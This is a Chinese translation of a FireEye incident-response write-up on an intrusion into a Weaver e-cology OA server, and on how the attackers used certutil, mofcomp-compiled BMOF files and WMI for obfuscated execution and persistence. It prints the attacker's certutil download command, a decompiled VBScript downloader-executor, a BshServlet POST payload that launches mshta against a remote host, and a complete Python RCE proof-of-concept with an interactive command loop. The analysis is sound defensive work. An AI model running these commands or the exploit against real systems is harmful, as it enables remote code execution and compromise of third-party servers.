新型入侵技术:使用WMI编译的“.bmf”文件和CertUtil进行混淆执行

前言

这篇文章主要讲述了一个有趣的入侵尝试,FireEye Managed Defense近期阻止了一项利用近期披露漏洞的快速武器化攻击,在该攻击中,攻击者创造性地使用了WMI编译的“.bmf”文件和CertUtil用于混淆执行。

这一次对入侵活动的成功监测,为我们积累了许多安全方面的宝贵经验,主要包括:一些攻击者可以迅速响应,甚至比许多安全团队的响应速度还要快。在确保业务连续性的情况下,对复杂的软件环境开展漏洞修复,也许难以跟上攻击者利用漏洞的步伐,特别是当攻击者将这些漏洞与针对操作系统自身功能而创造的新型混淆方法相结合,并进行快速利用的时候,人们往往会措手不及。

持续监测

在我们对客户提供持续监测服务的过程中,FireEye Managed Defense奇热在欧洲一家制造业客户的系统上发现了可疑文件写入活动,我们立即在发现可疑事件的主机上收集信息,以开展初步调查。在证据收集完成后,我们开始使用FireEye的Redline取证分析工具中提供的解析器来解析取证数据。经过对日志的分析,我们发现,该主机上执行了一些可疑命令,疑似攻击者正在进行交互式侦查活动。通常,一旦成功攻陷主机,攻击者往往会得到一个命令Shell窗口,从而可以在目标主机上执行命令。这些命令可能会与侦查活动相关,所谓侦查活动旨在将关于主机的有用信息暴露给攻击者。以下是我们观察到的一些在主机上成功执行的命令:

ipconfig.exe ipconfig /all
whoami.exe whoami

处理上述进程执行的相关父进程为:

\Weaver\jdk_new\bin\javaw.exe

攻击思路

一旦攻击者通过利用未知漏洞获取到对Web服务器的访问权限后,他们就会尝试通过Windows Management Instrumentation(WMI)进一步在系统内进行控制。攻击者利用WMI的执行进程,该进程会以Managed Object Format(MOF)文件作为输入,将其编译到WMI缓冲区中,生成一个已编译的“.bmf”输出文件。攻击者编写了第二阶段的Payload,并使用BMI对其进行了编译。最后,他们将已经编译的“.bmf”文件上传至其Web服务器,并将该文件修改并伪装成“.rar”文件。

在对该恶意活动进行进一步评估后,我们发现,威胁行为者在获得对目标Web服务器的访问权限后,他们利用Windows本地二进制文件“Certutil.exe”从远程位置下载恶意代码。我们的调查表明,攻击者使用了下述命令行参数执行了“Certutil.exe”进程的实例:

certutil  -urlcache -split
-f http://[DOMAIN]/uploads/180307/l.rar c:\windows\temp\l.rar

这些参数的作用如下(引用自Microsoft Certutil页面)

参数:-urlcache

描述:显示或删除URL缓存条目

参数:-split

描述:拆分嵌入式ASN.1元素,并保存到文件

参数:-f

描述:强制覆盖

我们观察到,Certutil不仅在合法应用程序和正常运行过程中被合理使用,还有可能被威胁行为者非法滥用。

在下载第二阶段Payload后不久,我们观察到一些与“l.rar”(MD5:4084eb4a41e3a01db2fe6f0b91064afa)相关的一些文件写入事件。特别值得关注的是:

cmd.exe  cmd /c mofcomp.exe C:\Windows\temp\l.rar
cmd.exe cmd /c del C:\Windows\temp\l.rar

上述命令利用Windows的“cmd.exe”解释器,在新获得的“l.rar”上运行“mofcomp.exe”。该进程用于分析包含MOF语句的文件,并将该文件中定义的任何类和类实例添加到WMIktv存储库中,然后删除上述文件。

FireEye Mandiant应急响应专家Christopher Glyer和Devon Kerr在MIRcon 2014会议中发表“讨论WMI中的一些关键部分”演讲,其中提出了攻击者和防御者利用mofcomp.exe的方式。

建议红队和蓝队利用MOF文件:

新型入侵技术:使用WMI编译的“.bmf”文件和CertUtil进行混淆执行

在研究过程中,我们获得了“l.rar”文件,并对其进行进一步分析。我们观察到该文件的文件头以“FOMB”开始,倒过来即为“BMOF”,也就是二进制管理对象格式(Binary Managed Object Format)。在掌握上述这些信息后,我们就要开始寻找方法,来对已经编译的二进制文件进行逆向。在FireEye的沙箱环境中分析文件后,我们可以从BMOF文件中获得以下信息:

On Error Resume Next:execmydler():Function execmydler():Set
P=CreateObject("WinHttp.WinHttpRequest.5.1"):P[.]Open
"GET","hxxp[://[DOMAIN]/d/dl[.]asp",0:P[.]Send():b=P[.]responseText:M=Spli
t(b,",",-1,1):For Each Od In M:Nd=Nd+Chr(Od-
2):Next:Set P=Nothing:If Len(Nd) > 10 Then:Execute(Nd):End If:End

为了伪装恶意活动,攻击者编写了MOF脚本,并将其编译为BMOF文件,然后通过WMI在受害计算机上运行恶意BMOF文件。前面提到的代码在执行过程中尝试从“hxxp[://[DOMAIN]/d/dl[.]asp”下载第二阶段的Payload。由于涉及到WMI缓冲区,因此这一攻击方式将有助于在受害者环境中获得持久性。

在研究期间,我们还发现了一个名为“bmfdecxise”的开源项目,这个项目对BMOF文件进行了反编译。

发现漏洞利用

我们发现攻击者在9月22日最为活跃,因此我们所开展的大部分调查都在这个时间范围内进行。通过对FireEye Endpoint Security的事件进行分析后,我们发现了在系统上执行的侦查命令,包括whoami、ipconfig以及下载其他二进制文件。但是,随着我们对系统的进一步分析,我们没有在执行这些命令的同一时间范围内发现任何漏洞利用。我们对HTTP日志进行了分析,该过程中也没有发现原始Payload。在HTTP日志中,我们发现了可疑的HTTP POST请求,包括对“/weaver/bsh.servlet.BshServlet/”的请求,但遗憾的是,我们所分析的服务器业务较为繁忙,因此日志中没有记录到Payload,仅仅包含元数据(Metadata)。

HTTP日志条目示例

'-` 2886000` 10.10.10.10` -` -` "[23/Sep/2019:10:10:10 +0800]"` "POST
/weaver/bsh.servlet.BshServlet/ HTTP/1.1"`  "-"'

FireEye Endpoint Security可以收集内存映像,并且该映像的日期与初始恶意活动是在同一天。由于内存中的内容经常会发生改变,因此在实际调查取证过程中,越早收集内存内容,就越有可能发现其他证据。我们使用Volatility分析了内存映像,以查找任何可疑的事件日志条目、进程创建、注册表条目等。在查看内存映像的过程中,我们发现了javaw.exe下产生的mshta.exe实例,这些进程的创建日期是2019年9月20日,我们将调查重点转移到了这个日期。

.. httpd.exe            2388    604      3     84 2019-06-28 09:32:53 UTC+0000
... java.exe            2420   2388      0 ------ 2019-06-28 09:32:53 UTC+0000
.... javaw.exe          4804   2420     36    530 2019-06-28 09:33:19 UTC+0000
..... javaw.exe         5976   4804    177   4925 2019-06-28 09:33:21 UTC+0000
...... mshta.exe       17768   5976     12    320 2019-09-20 14:20:00 UTC+0000
...... mshta.exe        9356   5976     12    306 2019-09-20 11:12:04 UTC+0000
...... mshta.exe       22416   5976     12    310 2019-09-20 11:31:14 UTC+0000
...... mshta.exe       23240   5976     13    318 2019-09-20 14:20:01 UTC+0000
...... mshta.exe       15116   5976     12    311 2019-09-20 11:31:23 UTC+0000

这与我们最初的发现相匹配,并向我们提供了进一步的信息。但遗憾的是,根据我们最初取证中获得的证据(包括终端上的程序和内存映像),没有找到在该日期前后文件系统的重大变化。在这个阶段,客户端已经紧急断网,并开始了补救操作,但我们仍然不知道攻击者是利用哪个漏洞作为目标主机的“突破口”。我们知道,进程路径表明httpd.exe被攻击者利用以运行恶意的javaw.exe命令,这与我们在HTTP日志中发现的内容一致,但我们没有找到Payload。

寻找关于Weaver的线索

有一定经验的应急响应人员都知道,如果解析数据未能找到我们想要查找的证据,我们可以尝试的最后一件事,就是搜索文件的原始字节和字符串。Volatility具有非常方便的功能,可以将字符串偏移量映射到相应的进程和虚拟地址。在完成此操作后,可以用grep搜索特定关键字,并通过字符串进行过滤,以此确定了许多未分配空间中的HTTP POST请求。随后,根据其context参数再进一步进行grep筛选,我们最终发现了一些值得关注的HTTP POST请求及对应的Payload。

POST Payload示例:

POST /weaver/bsh.servlet.BshServlet/ HTTP/1.1
Host: x.x.x.x:88
Connection: close
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:69.0) Gecko/20100101 Firefox/69.0
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 134
bsh.script=eval .("ex"+"ec(\"mshta hxxp:// www[DOMAIN]/index[.]hta\")");&bsh.servlet.output=raw23; languageidweaver=7; testBanCookie=test; JSESSIONID=xxxxxxxxxx; Systemlanguid=7
tBanCookie=test; Systemlanguid=7; loginidweaver=xxx
st; Systemlanguid=7; loginidweaver=xxx

终于,这就是我们一直在寻找的漏洞。其中的Payload正是攻击者执行的内容,并且URI确认了我们从内存映像中识别出的进程路径。这一过程中,是在向BshServlet发出请求。目前我们尚不清楚这个漏洞是否已知,因为该软件不会分配CVE编号。通过开源研究,我们发现了许多中国博客站点,正在讨论Weaver e-cology OA系统新发现的远程代码执行漏洞。这些漏洞位于OA系统的BeanShell组件中。攻击者可以将特制的Payload发送到“\weaver/bsh.servlet.BshServlet”以执行任意命令。在其中的一篇中文博客网站中,我们发现了以下PoC脚本。

MD5:49b23c67c2a378fb8c76c348dd80ff61

import requests
import sys  
 
headers = {
   'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 12_10) AppleWebKit/600.1.25 (KHTML, like Gecko) Version/12.0 Safari/1200.1.25',
   'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3',
   'Accept-Language': 'zh-CN,zh;q=0.9',
   'Content-Type': 'application/x-www-form-urlencoded'
}  
 
 
 
def exploit(url,cmd):
   target=url+'/weaver/bsh.servlet.BshServlet'
   payload='bsh.script=eval%00("ex"%2b"ec(\\"cmd+/c+{}\\")");&bsh.servlet.captureOutErr=true&bsh.servlet.output=raw'.format(cmd)
   res=requests.post(url=target,data=payload,headers=headers,timeout=10)
   res.encoding=res.apparent_encoding
   print(res.text)  
 
if __name__ == '__main__':
   url=sys.argv[1]
   while(1):
       cmd=input('cmd:')
       exploit(url,cmd)

该脚本中包含一些硬编码的HTTP标头值,包括User-Agent、可接受的数据类型、可接受的语言和内容类型。这个脚本生成一个HTTP请求,并允许用户指定他们想要运行的命令。然后,它将URL和命令附加到精心设计的漏洞利用程序中并执行。在我们的实际案例中,攻击者利用该漏洞启动mshta.exe,以下载第二阶段的Payload。

通过使用Shodan和Censys这类的互联网设备搜索引擎,我们可以快速识别出运行Weaver e-cology平台的系统。借助该技术,我们确定了28个面临潜在威胁的互联网系统。

新型入侵技术:使用WMI编译的“.bmf”文件和CertUtil进行混淆执行

总结

Managed Defense每周都会对此类事件进行反应。在这个案例中,FOMB的使用非常值得关注,这是我们第一次发现这种技术被用于绕过防御。如果被攻击者加以利用,已经编译的“.bmf”文件可以有效地潜入到目标环境中,不会被检测到,并且可以通过WMI缓冲区实现持久性。

有许多过程和技术控制措施都可以帮助系统防止被入侵。大多数的大型企业都具有复杂的网络结构,难以识别所有公开的软件和服务。在很多情况下,系统管理员都误以为他们的系统只能从内网访问,后来经过确认后再发现是在公网上。面对这种情况,要确定特定补丁的修复优先级可能会比较困难,如果管理员没有意识到资产已经部署到公网,那么就很可能会将风险定为“低”。

通常,将不同控制措施整合到一起往往是最好的办法。在Managed Defense中,我们假设这些控制是不完善的,攻击者可以找到一种绕过的方法。面对这样的情况,部署强大的监控功能,再配备针对低信度或弱信号进行分析的专业团队,就能够发现原本未被注意的攻击者。

参考

[1] https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/certutil

[2] https://docs.microsoft.com/en-us/windows/win32/wmisdk/mofcomp

[3] https://github.com/pali/bmfdec

[4] https://nsfocusglobal.com/weaver-e-cology-oa-system-remote-code-execution-vulnerability-threat-alert/

[5] https://github.com/volatilityfoundation/volatility/wiki/Command-Reference#strings